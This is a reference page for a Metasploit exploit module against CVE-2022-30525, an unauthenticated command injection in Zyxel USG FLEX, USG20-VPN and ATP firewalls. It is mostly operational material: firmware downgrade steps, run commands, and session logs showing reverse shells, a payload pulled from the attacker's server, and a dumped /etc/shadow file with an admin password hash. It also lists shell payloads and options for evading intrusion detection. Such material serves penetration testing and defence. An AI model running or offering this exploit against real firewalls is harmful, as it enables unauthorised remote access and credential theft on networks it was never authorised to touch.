Zyxel Firewall ZTP Unauthenticated Command Injection - Metasploit
This page contains detailed information about how to use the exploit/linux/http/zyxel_ztp_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Zyxel Firewall ZTP Unauthenticated Command Injection
Module: exploit/linux/http/zyxel_ztp_rce
Source code: modules/exploits/linux/http/zyxel_ztp_rce.rb
Disclosure date: 2022-04-28
Last modification time: 2022-05-13 15:32:12 +0000
Supported architecture(s): cmd, mips64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-30525
This module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are: * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below * USG20-VPN and USG20W-VPN using firmware 5.21 and below * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/linux/http/zyxel_ztp_rce
msf exploit(zyxel_ztp_rce) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Description
This module exploits CVE-2022-30525, an unauthenticated remote
command injection vulnerability affecting Zyxel firewalls with zero
touch provisioning (ZTP) support. By sending a malicious setWanPortSt
command containing an mtu
field with a crafted OS command to the
/ztp/cgi-bin/handler
page, an attacker can gain remote command execution
as the nobody
user.
Affected Zyxel models are:
- USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below
- USG20-VPN and USG20W-VPN using firmware 5.21 and below
- ATP 100, 200, 500, 700, 800 using firmware 5.21 and below
Setup
The vulnerable system is a hardware firewall/vpn that, to our knowledge, cannot be emulated. As such, testing requires a physical device. Once the device has been acquired, you'll need to accomplish the following:
Once powered on, register the device with Zyxel. You cannot do anything with the device until this is accomplished. Fortunately, the web interface will force you to complete this process. You'll need to create an account at https://portal.myzyxel.com and the firewall will need internet connectivity to complete the process.
Once the device is up to date, you'll need to downgrade the firmware. From portal.myzyxel.com you can download old firmware from:
Devices Management -> Firmware Download
From there you can select model and version to download. The last vulnerable version from the affected systems is 5.21 Patch 1.
- Once you are using the vulnerable version, there is no special configuration you need to exploit from the LAN. If you want to exploit from the WAN, you'll need to enable "HTTP" and/or "HTTPS" through the firewall. From the web interface do:
Configuration -> Objects -> Service -> Service Group -> Default_Allow_WAN_To_ZyWALL
And move "HTTP" and/or "HTTPS" from the left column to the right. After applying the firewall should pass HTTP/HTTPS through the firewall to the web interface.
- That's it. You are good to go.
Verification Steps
- Follow setup steps above.
- Do:
use exploit/linux/http/zyxel_ztp_rce
- Do:
set RHOST <ip>
- Do:
set LHOST <ip>
- Do:
check
- Verify the remote host is vulnerable.
- Do:
run
- Verify the module acquires a root shell
Scenarios
Successful exploitation of USG Flex 100 using firmware 5.21 for a reverse sh shell as nobody
msf6 > use exploit/linux/http/zyxel_ztp_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
RHOST => 10.0.0.14
msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/http/zyxel_ztp_rce) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
[*] Executing Shell Dropper for cmd/unix/reverse_bash
[*] Sending exploit to /ztp/cgi-bin/handler
[*] Command shell session 1 opened (10.0.0.28:4444 -> 10.0.0.14:48153 ) at 2022-05-09 14:06:47 -0700
[+] Exploit successfully executed.
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
cat /etc/shadow
root:***:12396:0:99999:7:::
bin:***:12396:0:99999:7:::
daemon:***:12396:0:99999:7:::
adm:***:12396:0:99999:7:::
lp:***:12396:0:99999:7:::
sync:***:12396:0:99999:7:::
shutdown:***:12396:0:99999:7:::
halt:***:12396:0:99999:7:::
mail:***:12396:0:99999:7:::
news:***:12396:0:99999:7:::
uucp:***:12396:0:99999:7:::
operator:***:12396:0:99999:7:::
games:***:12396:0:99999:7:::
ftp:***:12396:0:99999:7:::
sshd:***:12396:0:99999:7:::
nobody:***:12396:0:99999:7:::
debug:***:12396:0:99999:7:::
#deadbeaf Don't remove this line
admin:$5$52TVVua8$64kGlcP7$tNKPUArLMHZtmYy84GwUviNYNwBmDkLQ+cKkP9ToPRZqbAA3tgyfRd58rutqhxl36xVWYYRs5GhzX9Hd3ID9PvH5/F7RH0jPRLlug3+TecNkofrbDf3XOan3L8ZeChhzudZgUkP9A4sXfm6dEXguZ2+nLj98gyh7W8dl2/g+h3giNWW9Qsp1JdvaC3wIV53nlZ4p8JEPbswfsJ+KNEsb8AHajPfE+MVT4iTT9OhxPQnwMYaVhyRfauJeUrLtDHDzZq+bvHfmTp4NxUWOjwbXlBa7D6dRD21U3KW9btQM3SMDMSiwZGX1bo5Bu09lWiyzEPPIsy3n7Jsw+W818cZQm7I4b/BMn5tmdkafJz3uCw4$:19121:0:99999::::
ldap-users:***:19121:0:99999::::
radius-users:***:19121:0:99999::::
ad-users:***:19121:0:99999::::
ua-users:***:19121:0:99999::::
cloud-users:***:19121:0:99999::::
Successful exploitation of USG Flex 100 using firmware 5.21 for a reverse Meterpreter shell as nobody
msf6 > use exploit/linux/http/zyxel_ztp_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
RHOST => 10.0.0.14
msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/http/zyxel_ztp_rce) > set target 1
target => 1
msf6 exploit(linux/http/zyxel_ztp_rce) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
[*] Executing Linux Dropper for linux/mips64/meterpreter_reverse_tcp
[*] Using URL: http://10.0.0.28:8080/vFiLDBVYvqzd
[*] Sending exploit to /ztp/cgi-bin/handler
[*] Client 10.0.0.14 (curl/7.70.0) requested /vFiLDBVYvqzd
[*] Sending payload to 10.0.0.14 (curl/7.70.0)
[*] Meterpreter session 1 opened (10.0.0.28:4444 -> 10.0.0.14:48159 ) at 2022-05-09 14:11:29 -0700
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (114/114 bytes)
[*] Server stopped.
meterpreter > shell
Process 25619 created.
Channel 1 created.
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
cat /proc/cpuinfo
system type : ROUTER7000_REF (CN7020p1.2-1200-AAP)
machine : Unknown
processor : 0
cpu model : Cavium Octeon III V0.2 FPU V0.0
BogoMIPS : 2400.00
wait instruction : yes
microsecond timers : yes
tlb_entries : 256
extra interrupt vector : yes
hardware watchpoint : yes, count: 2, address/irw mask: [0x0ffc, 0x0ffb]
isa : mips1 mips2 mips3 mips4 mips5 mips64r2
ASEs implemented : vz
shadow register sets : 1
kscratch registers : 4
core : 0
VCED exceptions : not available
VCEI exceptions : not available
processor : 1
cpu model : Cavium Octeon III V0.2 FPU V0.0
BogoMIPS : 2400.00
wait instruction : yes
microsecond timers : yes
tlb_entries : 256
extra interrupt vector : yes
hardware watchpoint : yes, count: 2, address/irw mask: [0x0ffc, 0x0ffb]
isa : mips1 mips2 mips3 mips4 mips5 mips64r2
ASEs implemented : vz
shadow register sets : 1
kscratch registers : 4
core : 1
VCED exceptions : not available
VCEI exceptions : not available
Go back to menu.
Msfconsole Usage
Here is how the linux/http/zyxel_ztp_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/zyxel_ztp_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/zyxel_ztp_rce) > show info
Name: Zyxel Firewall ZTP Unauthenticated Command Injection
Module: exploit/linux/http/zyxel_ztp_rce
Platform: Unix, Linux
Arch: cmd, mips64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-04-28
Provided by:
jbaines-r7
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Shell Dropper
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to li
sten on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits CVE-2022-30525, an unauthenticated remote
command injection vulnerability affecting Zyxel firewalls with zero
touch provisioning (ZTP) support. By sending a malicious
setWanPortSt command containing an mtu field with a crafted OS
command to the /ztp/cgi-bin/handler page, an attacker can gain
remote command execution as the nobody user. Affected Zyxel models
are: * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and
below * USG20-VPN and USG20W-VPN using firmware 5.21 and below * ATP
100, 200, 500, 700, 800 using firmware 5.21 and below
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-30525
https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
Module Options
This is a complete list of options available in the linux/http/zyxel_ztp_rce exploit:
msf6 exploit(linux/http/zyxel_ztp_rce) > show options
Module options (exploit/linux/http/zyxel_ztp_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Shell Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/zyxel_ztp_rce exploit:
msf6 exploit(linux/http/zyxel_ztp_rce) > show advanced
Module advanced options (exploit/linux/http/zyxel_ztp_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, curl, wget)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-
IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-
negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x6 no The User-Agent header to use for all requests
4; rv:97.0) Gecko/20100101 Firefox/97.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but dir
ectly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/zyxel_ztp_rce module can exploit:
msf6 exploit(linux/http/zyxel_ztp_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Shell Dropper
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/zyxel_ztp_rce exploit:
msf6 exploit(linux/http/zyxel_ztp_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
20 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
21 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
22 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
23 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
26 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
27 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
28 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
29 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
30 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
31 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
32 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
33 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
36 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
37 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
39 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
41 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
42 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
43 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
44 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
45 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
46 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
47 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
48 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
49 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
50 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
51 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
52 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
53 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
54 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
55 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
56 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
57 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
58 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
59 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
60 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
61 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
62 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
63 payload/generic/custom normal No Custom Payload
64 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
65 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
66 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/zyxel_ztp_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/zyxel_ztp_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-norm
al, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The target failed to respond to check.
Here is a relevant code snippet related to the "The target failed to respond to check." error message:
88: # a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this
89: # seems like a reasonable approach.
90: def check
91: res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))
92: unless res
93: return CheckCode::Unknown('The target failed to respond to check.')
94: end
95:
96: unless res.code == 200
97: return CheckCode::Safe('Failed to retrieve /')
98: end
Failed to retrieve /
Here is a relevant code snippet related to the "Failed to retrieve /" error message:
92: unless res
93: return CheckCode::Unknown('The target failed to respond to check.')
94: end
95:
96: unless res.code == 200
97: return CheckCode::Safe('Failed to retrieve /')
98: end
99:
100: ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]
101: if ver.nil?
102: return CheckCode::Safe('Could not extract a version number')
Could not extract a version number
Here is a relevant code snippet related to the "Could not extract a version number" error message:
97: return CheckCode::Safe('Failed to retrieve /')
98: end
99:
100: ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]
101: if ver.nil?
102: return CheckCode::Safe('Could not extract a version number')
103: end
104:
105: if ver[0..5].to_i < 220420
106: model = res.get_html_document.xpath('//title').text
107: if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))
This was determined by the model and build date: <MODEL>, <VER>
Here is a relevant code snippet related to the "This was determined by the model and build date: <MODEL>, <VER>" error message:
103: end
104:
105: if ver[0..5].to_i < 220420
106: model = res.get_html_document.xpath('//title').text
107: if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))
108: return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")
109: end
110: end
111:
112: CheckCode::Safe("This determination is based on the build date string: #{ver}.")
113: end
This determination is based on the build date string: <VER>.
Here is a relevant code snippet related to the "This determination is based on the build date string: <VER>." error message:
107: if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))
108: return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")
109: end
110: end
111:
112: CheckCode::Safe("This determination is based on the build date string: #{ver}.")
113: end
114:
115: def execute_command(cmd, _opts = {})
116: handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')
117: print_status("Sending command to #{handler_uri}")
The target replied with HTTP status <RES.CODE>. No reply was expected.
Here is a relevant code snippet related to the "The target replied with HTTP status <RES.CODE>. No reply was expected." error message:
138: 'data' => http_payload.to_json
139: })
140: # Successful exploitation can result in no response (connection being held open by a reverse shell)
141: # or, if the command executes immediately, a response with a 503.
142: if res && res.code != 503
143: fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
144: end
145: print_good('Command successfully executed.')
146: end
147:
148: def exploit
Go back to menu.
Related Pull Requests
- #16621 Merged Pull Request: Fix timeout of duplicated sessions
- #16622 Merged Pull Request: Bump Metasploit framework version to 6.2.0
- #16620 Merged Pull Request: Bump RubySMB, Add File Server Tool
- #16619 Merged Pull Request: fix of improper neighbor advertisement filtering in ipv6_neighbor.rb
- #16488 Merged Pull Request: Windows Task Scheduler Mixin &
persistence_exe
andvss_persistence
module update - #16413 Merged Pull Request: Multiple local exploit suggester enhancements
- #16610 Merged Pull Request: New, All-Inclusive PrintNightmare Exploit
- #16608 Merged Pull Request: Rename wiki files
References
- CVE-2022-30525
- https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
See Also
Check also the following modules related to this module:
Authors
- jbaines-r7
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.